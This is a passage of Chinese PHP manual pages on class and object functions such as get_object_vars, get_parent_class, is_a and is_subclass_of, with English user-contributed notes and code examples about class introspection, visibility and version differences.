In fact I have code that provides an abstract class and then classes using this abstract class. Further I have subclasses to my concrete classes - which is why my subclasses are not listed within the returned array.
dexen + goofy _ pl 25-Sep-2007 11:32
Summary:
 * in PHP 5.1 class names have case preserved
 * contrary, in PHP 4.4 class names are downcased, withe exception of a few build-in ones

The get_declared_classes() funcition returns the list of names with case preserved, as of PHP 5.1 series (prolly 5.0 too, but i have no way to test it right now). Since PHP generally is caseless in regard to names of classes, this may come at a surprise. Also, this could potentially break older code asssuming downcased list.

Take extra care when  checking for existence of a class. Following example is, potentially, error prone: <?php in_array( $className, $classget_declared_classes() ) ?>

A sure-fire (while slower) way would be to iterate over the array and normalize case to, say, lower:

<?php
$exists = FALSE;
$className = strtolower( $className );
foreach ( get_declared_classes() as $c ) {
    if ( $className === strtolower( $c ) ) {
        $exists = TRUE;
        break;
    }
}?>

Optimization of the above snippet is left as a simple excercise to the reader ;)
-- dexen deVries
matt at mattsoft dot net 21-Dec-2005 02:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
22-Mar-2005 09:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko 07-Feb-2004 11:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey 20-Mar-2003 03:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.


返回一个数组包含所有已声明的接口

  • ? get_declared_classes
  • get_declared_traits ?
  • PHP Manual
  • 类/对象 函数
  • 返回一个数组包含所有已声明的接口

get_declared_interfaces

(PHP 5, PHP 7, PHP 8)

get_declared_interfaces — 返回一个数组包含所有已声明的接口

说明

get_declared_interfaces(): array

返回一个数组包含所有已声明的接口。

参数

此函数没有参数。

返回值

本函数返回一个数组，其内容是当前脚本中所有已声明的接口的名字。

示例

Example #1 get_declared_interfaces() 示例

<?php
print_r(get_declared_interfaces());
?>

以上示例的输出类似于：

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

参见

  • interface_exists() - 检查接口是否已被定义
  • get_declared_classes() - 返回由已定义类的名字所组成的数组
  • class_implements() - 返回指定的类或接口实现的所有接口

User Contributed Notes

There are no user contributed notes for this page.


返回所有已定义的 traits 的数组

  • ? get_declared_interfaces
  • get_mangled_object_vars ?
  • PHP Manual
  • 类/对象 函数
  • 返回所有已定义的 traits 的数组

get_declared_traits

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

get_declared_traits — 返回所有已定义的 traits 的数组

说明

get_declared_traits(): array

参数

此函数没有参数。

返回值

返回一个数组，其值包含了所有已定义的 traits 的名称。

参见

  • class_uses() - Return the traits used by the given class
  • trait_exists() - 检查指定的 trait 是否存在

User Contributed Notes

@everaldofilho 14-Jul-2019 04:57
Example of use:

<?php

namespace Example;

// Declare Trait
trait FooTrait
{
}

// Declare Abstract class
abstract class FooAbstract
{
}

// Declare class
class Bar extends FooAbstract
{
    use FooTrait;
}

// Get all traits declareds
$array = get_declared_traits();

var_dump($array);
/**
 * Result:

 * array(1) {
 *  [0] =>
 *  string(23) "Example\FooTrait"
 * }
 */


返回将对象属性混在一起的数组

  • ? get_declared_traits
  • get_object_vars ?
  • PHP Manual
  • 类/对象 函数
  • 返回将对象属性混在一起的数组

get_mangled_object_vars

(PHP 7 >= 7.4.0, PHP 8)

get_mangled_object_vars — 返回将对象属性混在一起的数组

说明

get_mangled_object_vars(object $object): array

返回 array，其元素是 object 的属性。key 是成员变量名，但有几个显著的异常：private 变量的变量名前加上类名，protected 变量的变量名前面加上 * 号。这些前置值在两边都带有 NUL 字节。未初始化的类型属性会默默丢弃。

参数

object

对象实例。

返回值

返回包含 object 的所有属性的 array，无论其可见性如何。

示例

Example #1 get_mangled_object_vars() 示例

<?php

class A
{
public $public = 1;

protected $protected = 2;

private $private = 3;
}

class B extends A
{
private $private = 4;
}

$object = new B;
$object->dynamic = 5;
$object->{'6'} = 6;

var_dump(get_mangled_object_vars($object));

class AO extends ArrayObject
{
private $private = 1;
}

$arrayObject = new AO(['x' => 'y']);
$arrayObject->dynamic = 2;

var_dump(get_mangled_object_vars($arrayObject));

以上示例会输出：

array(6) {
  ["Bprivate"]=>
  int(4)
  ["public"]=>
  int(1)
  ["*protected"]=>
  int(2)
  ["Aprivate"]=>
  int(3)
  ["dynamic"]=>
  int(5)
  [6]=>
  int(6)
}
array(2) {
  ["AOprivate"]=>
  int(1)
  ["dynamic"]=>
  int(2)
}

参见

  • get_class_vars() - 获取类的默认属性
  • get_object_vars() - 获取指定对象的属性

User Contributed Notes

There are no user contributed notes for this page.


获取指定对象的属性

  • ? get_mangled_object_vars
  • get_parent_class ?
  • PHP Manual
  • 类/对象 函数
  • 获取指定对象的属性

get_object_vars

(PHP 4, PHP 5, PHP 7, PHP 8)

get_object_vars — 获取指定对象的属性

说明

get_object_vars(object $object): array

根据作用域获取指定 object 的可访问非静态属性。

参数

object

对象实例。

返回值

返回指定 object 在当前作用域的属性组成的关联数组，属性为已定义、非静态、可访问。

示例

Example #1 get_object_vars() 使用

<?php

class foo {
private $a;
public $b = 1;
public $c;
private $d;
static $e;

public function test() {
var_dump(get_object_vars($this));
}
}

$test = new foo;
var_dump(get_object_vars($test));

$test->test();

?>

以上示例会输出：

array(2) {
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
}
array(4) {
  ["a"]=>
  NULL
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
  ["d"]=>
  NULL
}

Note:

未初始化的属性认为是不可访问的，因此不会包含在数组中。

参见

  • get_class_methods() - 返回由类的方法名组成的数组
  • get_class_vars() - 获取类的默认属性

User Contributed Notes

Trismegiste 16-Nov-2022 03:34
Please be aware of hidden behaviors with uninitialised properties. The note explains : ? Uninitialized properties are considered inaccessible, and thus will not be included in the array. ? but that's not entirely true in PHP 8.1. It depends if the property is type-hinted or not.

<?php

class Example
{
  public $untyped;
  public string $typedButNotInitialized;
  public ?string $typedOrNullNotInitialized;
  public ?string $typedOrNullWithDefaultNull = null;
}

var_dump(get_object_vars(new Example()));
?>

will print :

array(2) {
  ["untyped"]=>
  NULL
  ["typedOrNullWithDefaultNull"]=>
  NULL
}

As you can see, only "untyped" and "typedOrNullWithDefaultNull" properties are dumped with get_object_vars(). You may encounter problems when migrating old source code and adds carelessly types everywhere without proper initialisation (or default) and assuming it defaults to NULL like old code does.

Hope this helps
marcus at marcusball dot me 08-Apr-2021 10:54
When dealing with a very large quantity of objects, it is worth noting that using `get_object_vars()` may drastically increase memory usage.

If instantiated objects only use predefined properties from a class then PHP can use a single hashtable for the class properties, and small memory-efficient arrays for the object properties:

If a class is defined with three properties ($foo, $bar, and $baz), "PHP no longer has to store the data in a hashtable, but instead can say that $foo is proprety 0, $bar is proprety 1, $baz is property 2 and then just store the properties in a three-element C array. This means that PHP only needs one hashtable in the class that does the property-name to offset mapping and uses a memory-efficient C-array in the individual objects."

However, if you call `get_object_vars()` on an object like this, then PHP WILL build a hashtable for the individual object. If you have a large quantity of objects, and you call `get_object_vars()` on all of them, then a hashtable will be built for each object, resulting in a lot more memory usage. This can be seen in this bug report: https://bugs.php.net/bug.php?id=79392

The effects of this can be seen in this example:

<?php
class Example {
    public $foo;
    public $bar;
    public $baz;
}

function printMem($label) {
    $usage = memory_get_usage();
    echo sprintf('%s: %d (%.2f MB)', $label, $usage, $usage / 1000000) . PHP_EOL;
}

printMem('start');

$objects = [];
for ($i = 0; $i < 20000; $i++) {
    $obj = new Example;
    $obj->foo = bin2hex(random_bytes(5));
    $obj->bar = bin2hex(random_bytes(5));
    $obj->baz = bin2hex(random_bytes(5));
    $objects[] = $obj;
}

printMem('before get_object_vars');

// Clone each object, and get the vars on the clone
foreach ($objects as $obj) {
    $c = clone $obj;
    $vars = get_object_vars($c);

    // Accessing and modifying the original object is fine.
    foreach ($vars as $var => $val) {
        $obj->{$var} = strrev($val);
    }
}

printMem('get_object_vars using clone');

// Get the vars on each object directly
foreach ($objects as $obj) {
    $vars = get_object_vars($obj);

    // The memory is used even if you do not modify the object.
}

printMem('get_object_vars direct access');
?>

The output of this is:

    start: 405704 (0.41 MB)
    before get_object_vars: 6512416 (6.51 MB)
    get_object_vars using clone: 6033408 (6.03 MB)
    get_object_vars direct access: 13553408 (13.55 MB)

In short, if you are using classes to avoid additional memory usage associated with hashtables (like in associative arrays), be aware that `get_object_vars()` will create a hashtable for any object passed to it.

This appears to be present in all versions of PHP; I've tested it on PHP 5, 7, and 8.

Quotes are from Nikic's blog posts on arrays and hashtable memory usage, and Github gist "Why objects (usually) use less memory than arrays in PHP".
niemans at pbsolo dot nl 02-Jan-2021 04:47
You can use an anonymous class to return public variables from inside the class:

public function getPublicVars () {
    $me = new class {
        function getPublicVars($object) {
            return get_object_vars($object);
        }
    };
    return $me->getPublicVars($this);
}

Test script:

class Test {
    protected $protected;
    public    $public;
    private   $private;
    public function getAllVars () {
        return call_user_func('get_object_vars', $this);
    }
    public function getPublicVars () {
        $me = new class {
            function getPublicVars($object) {
                return get_object_vars($object);
            }
        };
        return $me->getPublicVars($this);
    }
}

$test = new Test();
print_r(get_object_vars($test)); // array("public" => NULL)
print_r($test->getAllVars());   // array("protected" => NULL, "public" => NULL, "private" => NULL)
print_r($test->getPublicVars()); // array("public" => NULL)
Fabien Haddadi 30-May-2012 09:42
It seems like there's no function that determines all the *static* variables of a class.

I've come out with this one as I needed it in a project:

<?php
function get_class_static_vars($object) {
     return array_diff(get_class_vars(get_class($object)), get_object_vars($object));
}
?>

It relies on an interesting property: the fact that get_object_vars only returns the non-static variables of an object.
fmmarzoa at librexpresion dot org 01-Nov-2004 11:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
    [skin] => 1
)

Using array cast:
Array
(
    [skin] => 1
    [ * meat] => 2
    [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
    $clone = (array) $Instance;
    $rtn = array ();
    $rtn['___SOURCE_KEYS_'] = $clone;

    while ( list ($key, $value) = each ($clone) ) {
        $aux = explode ("\0", $key);
        $newkey = $aux[count($aux)-1];
        $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
    }

    return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
    if ( ! (is_array ($Instance) ) ) {
        return NULL;
    }

    // First get source keys if available
    if ( isset ($Instance['___SOURCE_KEYS_'])) {
        $Instance = $Instance['___SOURCE_KEYS_'];
    }

    // Get serialization data from array
    $serdata = serialize ( $Instance );

    list ($array_params, $array_elems) = explode ('{', $serdata, 2);
    list ($array_tag, $array_count) = explode (':', $array_params, 3 );
    $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

    $Instance = unserialize ( $serdata );
    return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }

    function PrintAll () {
        echo "skin = ".$this->skin."\n";
        echo "meat = ".$this->meat."\n";
        echo "roots = ".$this->roots."\n";
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
    echo "\$Arr is now an object.\n";
    if ( $Arr instanceof Potatoe ) {
        echo "\$Arr is an instance of Potatoe class.\n";
    }
}

$Arr->PrintAll();

?>


检索对象或者类的父级类名

  • ? get_object_vars
  • interface_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检索对象或者类的父级类名

get_parent_class

(PHP 4, PHP 5, PHP 7, PHP 8)

get_parent_class — 检索对象或者类的父级类名

说明

get_parent_class(object|string $object_or_class = ?): string|false

检索对象或者类的父级类名。

参数

object_or_class

检查的对象或者类名。如果是从对象内的方法中调用此函数，则此参数可选。

返回值

返回 object_or_class 是类名或者类实例的父类名称。

Note:

如果对象没有父类或者指定的类名不存在，则返回 false。

如果在对象外部不带参数调用，则返回 false。

更新日志

版本 | 说明
8.0.0 | object_or_class 参数现在仅接受对象或者有效的类名。

示例

Example #1 使用 get_parent_class()

<?php

class Dad {
function __construct()
{
// implements some logic
}
}

class Child extends Dad {
function __construct()
{
echo "I'm " , get_parent_class($this) , "'s son\n";
}
}

class Child2 extends Dad {
function __construct()
{
echo "I'm " , get_parent_class('child2') , "'s son too\n";
}
}

$foo = new child();
$bar = new child2();

?>

以上示例会输出：

I'm Dad's son
I'm Dad's son too

参见

  • get_class() - 返回对象的类名
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类
  • class_parents() - 返回指定类的父类

User Contributed Notes

jake at qzdesign dot co dot uk 17-Oct-2019 10:47
Note that from PHP 5.5 you can also use `parent::class` from within a method, e.g.

<?php
    function child()
    {
        echo "I'm ", parent::class, "'s son\n";
    }
?>

Looks a bit tidier and technically probably more optimal, as it avoids a function call lookup.
yukal dot alexander at gmail dot com 24-Nov-2018 07:28
An output of the entire inheritance chain using closures, recursion, and OOP

class ParentClass {
    public static function getChain() {
        $chain = null;
        return $function = function($className='') use (& $chain, & $function) {
            if (empty($className))
                $className = static::class;

            if (empty($chain))
                $chain = $className;

            $parent = get_parent_class($className);

            if ($parent !== false) {
                $chain .= " > {$parent}";
                return $function($parent);
            }

            return $chain;
        };
    }
}

class Child extends ParentClass {}
class SubChild extends Child {}
class Sub2 extends SubChild {}
class Sub3 extends Sub2 {}
class Sub4 extends Sub3 {}
class Sub5 extends Sub4 {}
class Sub6 extends Sub5 {}
class Sub7 extends Sub6 {}

printf("%s\n", Sub7::getChain()());

$getChain = Sub7::getChain();
printf("%s\n", $getChain('Sub3'));

Output is:
Sub7 > Sub6 > Sub5 > Sub4 > Sub3 > Sub2 > SubChild > Child > ParentClass
Sub3 > Sub2 > SubChild > Child > ParentClass
falundir at gmail dot com 13-Apr-2012 10:27
You can use this function to find common parent of multiple objects or classes.

<?php
/**
 * Returns name of the first (in class hierarchy) common parent class of all provided objects or classes.
 * Returns FALSE when common class is not found.
 *
 * @param mixed $objects Array that can contain objects or class names.
 * @return mixed
 */
function get_first_common_parent($objects) {
    $common_ancestors = null;
    foreach($objects as $object) {
        if (is_object($object)) {
            $class_name = get_class($object);
        } else {
            $class_name = $object;
        }

        $parent_class_names = array();
        $parent_class_name = $class_name;
        do {
            $parent_class_names[] = $parent_class_name;
        } while($parent_class_name = get_parent_class($parent_class_name));

        if ($common_ancestors === null) {
            $common_ancestors = $parent_class_names;
        } else {
            $common_ancestors = array_intersect($common_ancestors, $parent_class_names);
        }
    }

    return reset($common_ancestors);
}
?>

Example:

<?php
class A {
}

    class B extends A {
    }

        class D extends B {
        }

        class E extends B {
        }

    class C extends A {
    }

        class F extends C {
        }

            class G extends F {
            }

class H {
}

//returns "A"
get_first_common_parent(array('G', 'E'));

//returns "F"
get_first_common_parent(array(new G(), 'F'));

//returns false (no common parent)
get_first_common_parent(array('C', 'H'));

//returns false (non-existent class provided)
get_first_common_parent(array(new B(), 'X'));
?>
levu 20-Apr-2011 08:36
I wrote a simple function doing the reverse thing: get the children:

<?php
function get_child($instance, $classname) {
    $class = $classname;
    $t = get_class($instance);
    while (($p = get_parent_class($t)) !== false) {
        if ($p == $class) {
            return $t;
        }
        $t = $p;
    }
    return false;
}

abstract class A {
    function someFunction() {
        return get_child($this, __CLASS__);
    }
}

class B extends A {

}

class C extends B {

}

$c = new C();
echo $c->someFunction(); //displays B

?>
ssb45 at cornell dot edu 14-May-2008 08:32
"'If called without parameter outside object' What on earth does that mean?"

There are two places this could be called:
1. From within a member function of an object.  In this case, it may be called with no parameters and will return the parent class of the object owning the member function.  (If the parameter is included, then it will return the parent class of the specified class as normal.)

2. From outside an object (i.e., global or function scope).  In this case, PHP doesn't know what class you're talking about if you don't include a parameter, so it returns FALSE.  (But, of course, it works if you specify the class with the parameter.)
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro 07-Apr-2004 06:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.


检查接口是否已被定义

  • ? get_parent_class
  • is_a ?
  • PHP Manual
  • 类/对象 函数
  • 检查接口是否已被定义

interface_exists

(PHP 5 >= 5.0.2, PHP 7, PHP 8)

interface_exists — 检查接口是否已被定义

说明

interface_exists(string $interface, bool $autoload = true): bool

检查接口是否已被定义。

参数

interface

接口名。

autoload

如果尚未加载，是否自动加载。

返回值

本函数在由 interface 给出的接口已定义时返回 true，否则返回 false。

示例

Example #1 interface_exists() 示例

<?php
// 在尝试使用前先检查接口是否存在
if (interface_exists('MyInterface')) {
class MyClass implements MyInterface
{
// Methods
}
}

?>

参见

  • get_declared_interfaces() - 返回一个数组包含所有已声明的接口
  • class_implements() - 返回指定的类或接口实现的所有接口
  • class_exists() - 查类是否已经定义
  • enum_exists() - 检测是否定义对应的枚举

User Contributed Notes

CoR 28-Nov-2015 02:30
Class and Interface share SAME namespace!

class k{}

interface k {}    // Fatal error: Cannot redeclare class k
maxim at inbox dot ru 01-Oct-2012 10:40
If you want to check for included interface and you already register spl autoloader - it will crash. Becassue autoloader trying to load `string` and he doesnt matter is it class or not.
Iv found several ways :
1 - unregister AL - -> check for Ifaces - -> register Autoloader

2 - $ifaces = array_flip(get_declared_interfaces());
 if($ifaces["MyIface"]) // empty // isset .

Interfaces are not bad, you can build correct geomentry of system , with validation by funcs / vars / const .
Also they are good to storage variables <?php
 ROOT::THEMES ; ROOT::LOC ; ?> . Much faster then Define, but you cant put algorithms inside, only complite strings / __file__ / etc.
nils dot rocine at gmail dot com 26-Oct-2011 06:35
A little note on namespaces that may be obvious to some, but was not obvious to me.

Although you can make the below statement when the statement is in the same namespace as the interface/class declaration MyInterface...
<?php
$foo instanceof MyInterface
?>

Making use of the interface_exists, or class_exists functions, you must enter the full namespaced interface name like so (even if the function call is from the same namespace.)
<?php
interface_exists(__NAMESPACE__ . '\MyInterface', false);
?>
andrey at php dot net 24-Oct-2004 04:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.


检查对象是否属于一个给定的类型或子类型。

  • ? interface_exists
  • is_subclass_of ?
  • PHP Manual
  • 类/对象 函数
  • 检查对象是否属于一个给定的类型或子类型。

is_a

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_a — 检查对象是否属于一个给定的类型或子类型。

说明

is_a(mixed $object_or_class, string $class, bool $allow_string = false): bool

检查指定 object_or_class 是否属于此对象类型或具有此对象类型作为其超类（父类）。

参数

object_or_class

类名或者实例对象。

class

类名或接口名。

allow_string

如果本参数设置为 false，object_or_class 就不允许传入字符串类名。 这也会在类不存在时，阻止调用自动加载器（autoloader）。

返回值

如果对象属于该对象类型或该类是此对象类型的超类（父类）时返回 true，否则返回 false。

示例

Example #1 is_a() 示例

<?php
// 定义类
class WidgetFactory
{
var $oink = 'moo';
}

// 创建新对象
$WF = new WidgetFactory();

if (is_a($WF, 'WidgetFactory')) {
echo "yes, \$WF is still a WidgetFactory\n";
}
?>

Example #2 使用 instanceof 运算符

<?php
if ($WF instanceof WidgetFactory) {
echo 'Yes, $WF is a WidgetFactory';
}
?>

参见

  • get_class() - 返回对象的类名
  • get_parent_class() - 检索对象或者类的父级类名
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类

User Contributed Notes

SlimDeluxe 14-Nov-2022 03:52
For anyone wondering, this does not work with traits :(
dkrupyanskiy[at]gmail 10-Jan-2018 09:36
Looks like the function signature given in description is wrong. Actually it can take a string  as a first parameter in the case if $allow_string is set to true.

It took some time to find out how the last parameter should be used. Please consider the following example

<?php

class Foo{}

spl_autoload_register(
    function($classname){
        printf('autoload has been triggered for %s%s', $classname, PHP_EOL);
    }
);

var_dump(is_a('UndefinedClassName', Foo::class, true));

?>
Ronald Locke 30-Sep-2016 02:19
Please note that you have to fully qualify the class name in the second parameter.

A use statement will not resolve namespace dependencies in that is_a() function.

<?php
namespace foo\bar;

class A {};
class B extends A {};
?>

<?php
namespace har\var;

use foo\bar\A;
$foo = new foo\bar\B();

is_a($foo, 'A'); // returns false;
is_a($foo, 'foo\bar\A'); // returns true;
?>

Just adding that note here because all examples are without namespaces.
eitan at mosenkis dot net 12-Jan-2012 01:09
As of PHP 5.3.9, is_a() seems to return false when passed a string for the first argument. Instead, use is_subclass_of() and, if necessary for your purposes, also check if the two arguments are equal, since is_subclass_of('foo', 'foo') will return false, while is_a('foo', 'foo') used to return true.
Aron Budinszky 07-Sep-2011 04:21
Be careful! Starting in PHP 5.3.7 the behavior of is_a() has changed slightly: when calling is_a() with a first argument that is not an object, __autoload() is triggered!

In practice, this means that calling is_a('23', 'User'); will trigger __autoload() on "23". Previously, the above statement simply returned 'false'.

More info can be found here:
https://bugs.php.net/bug.php?id=55475

Whether this change is considered a bug and whether it will be reverted or kept in future versions is yet to be determined, but nevertheless it is how it is, for now...
p dot scheit at zweipol dot net 16-Jan-2007 01:44
At least in PHP 5.1.6 this works as well with Interfaces.

<?php
interface test {
  public function A();
}

class TestImplementor implements test {
  public function A () {
    print "A";
  }
}

$testImpl = new TestImplementor();

var_dump(is_a($testImpl,'test'));
?>

will return true
cesoid at yahoo dot com 05-Oct-2005 07:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.


检查对象是否继承或者实现（implement）此类

  • ? is_a
  • method_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检查对象是否继承或者实现（implement）此类

is_subclass_of

(PHP 4, PHP 5, PHP 7, PHP 8)

is_subclass_of — 检查对象是否继承或者实现（implement）此类

说明

is_subclass_of(mixed $object_or_class, string $class, bool $allow_string = true): bool

检查指定的 object_or_class 是否继承或者实现（implement） class。

参数

object_or_class

类名或者对象实例。如果类不存在，也不会报错。

class

类名

allow_string

如果此参数设置为 false，将不允许将字符串类名传递给 object_or_class。如果类不存在，这也可以防止调用自动加载器。

返回值

如果对象 object_or_class 属于 class 的子类，则返回 true，否则返回 false。

示例

Example #1 is_subclass_of() 示例

<?php
// 定义类
class WidgetFactory
{
var $oink = 'moo';
}

// 定义子类
class WidgetFactory_Child extends WidgetFactory
{
var $oink = 'oink';
}

// 创建新对象
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
echo "yes, \$WFC is a subclass of WidgetFactory\n";
} else {
echo "no, \$WFC is not a subclass of WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
echo "yes, \$WF is a subclass of WidgetFactory\n";
} else {
echo "no, \$WF is not a subclass of WidgetFactory\n";
}

if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
echo "yes, WidgetFactory_Child is a subclass of WidgetFactory\n";
} else {
echo "no, WidgetFactory_Child is not a subclass of WidgetFactory\n";
}
?>

以上示例会输出：

yes, $WFC is a subclass of WidgetFactory
no, $WF is not a subclass of WidgetFactory
yes, WidgetFactory_Child is a subclass of WidgetFactory

Example #2 is_subclass_of() 使用接口示例

<?php
// 定义接口
interface MyInterface
{
public function MyFunction();
}

// 定义实现了接口的类
class MyClass implements MyInterface
{
public function MyFunction()
{
return "MyClass Implements MyInterface!";
}
}

// 实例化对象
$my_object = new MyClass;

// 自 5.3.7 起可用

// 使用类的对象实例进行检查
if (is_subclass_of($my_object, 'MyInterface')) {
echo "Yes, \$my_object is a subclass of MyInterface\n";
} else {
echo "No, \$my_object is not a subclass of MyInterface\n";
}

// 使用字符串类名进行检查
if (is_subclass_of('MyClass', 'MyInterface')) {
echo "Yes, MyClass is a subclass of MyInterface\n";
} else {
echo "No, MyClass is not a subclass of MyInterface\n";
}
?>

以上示例会输出：

Yes, $my_object is a subclass of MyInterface
Yes, MyClass is a subclass of MyInterface

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

参见

  • get_class() - 返回对象的类名
  • get_parent_class() - 检索对象或者类的父级类名
  • is_a() - 检查对象是否属于一个给定的类型或子类型。
  • class_parents() - 返回指定类的父类

User Contributed Notes

Anonymous 21-Oct-2022 11:57
You can check if your current class is a child with:

<?php is_subclass_of($this, self::class) ?>

<?php
class a {
    public function check(): bool {
        return is_subclass_of($this, self::class);
    }
}

class b extends a {}

$a = new a();
$b = new b();

echo $a->check() ? 'Yes' : 'No';
echo PHP_EOL;
echo $b->check() ? 'Yes' : 'No';
echo PHP_EOL;
?>

prints:
No
Yes
alan at jynxy.net 21-Jun-2018 06:56
The $allow_string parameter is not very clearly documented. When true, it simply allows the first parameter to be the name of a class, instead of an object whose class we are interested in.

Some usage examples:

class parent_class {
    // objects and methods ...
}

$possible_child_object = new possible_child_class(); // might be an extension of parent_class

$result = is_subclass_of($possible_child_object, 'parent_class'); //  valid
$result = is_subclass_of($possible_child_object, 'parent_class', false); //  valid
$result = is_subclass_of('possible_child_class', 'parent_class', true); // valid
$result = is_subclass_of('possible_child_class', 'parent_class', false); // not valid
nicholas at aquarionics dot com 17-Mar-2009 01:02
This might be useful to someone, so:

If you're using Autoload, you should be aware that this will attempt to autoload $classname if it isn't already loaded. I discovered this when I had something using is_subclass_of inside an error thrown by autoload, which then recursed until it ran out of memory.
Damien Bezborodov 16-Mar-2009 04:55
If you need something similar to is_subclass_of() to determine if a class implements an interface before instantiating it, use reflection:

<?php

interface A_Interface {}
class A implements A_Interface {}

$reflectionA = new ReflectionClass('A');
var_dump(
    $reflectionA->implementsInterface('A_Interface')
);

?>
bool(true)
kostyl_kostyl gav-gav mail point ru 07-Mar-2009 03:08
<?php
interface I {
}
class A implements I {
}
class B extends A  {
}
if (is_subclass_of('A', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'A')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
?>

result:
bad <- you must to describe intermediate class B to be good
good
good
jm 30-Sep-2008 08:02
It would appear that is_subclass_of is case insensitive unlike get_class in php5.
i.e.

<?php
class fooBar {}
class bar extends fooBar {}

assert(get_class(new fooBar()) == "fooBar");
assert(is_subclass_of(new bar(), "foobar") == true);
?>

i run across this while migrating some code from php4 to php5 and the code would only half-the-time break.
Ondra Zizka 13-Oct-2006 05:31
For PHP4:

<?php
/** Returns whether specified class is subclass of the other class. */
function is_subclass($sClass, $sExpectedParentClass){
    do if( $sExpectedParentClass === $sClass ) return true;
    while( false != ($sClass = get_parent_class($sClass)) );
    return false;
}
// Test:
class A {} class B extends A {} class C extends B {} echo (int) is_subclass('C', 'A');
?>
gunniboyh at web dot de 20-May-2006 06:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .


检查类的方法是否存在

  • ? is_subclass_of
  • property_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检查类的方法是否存在

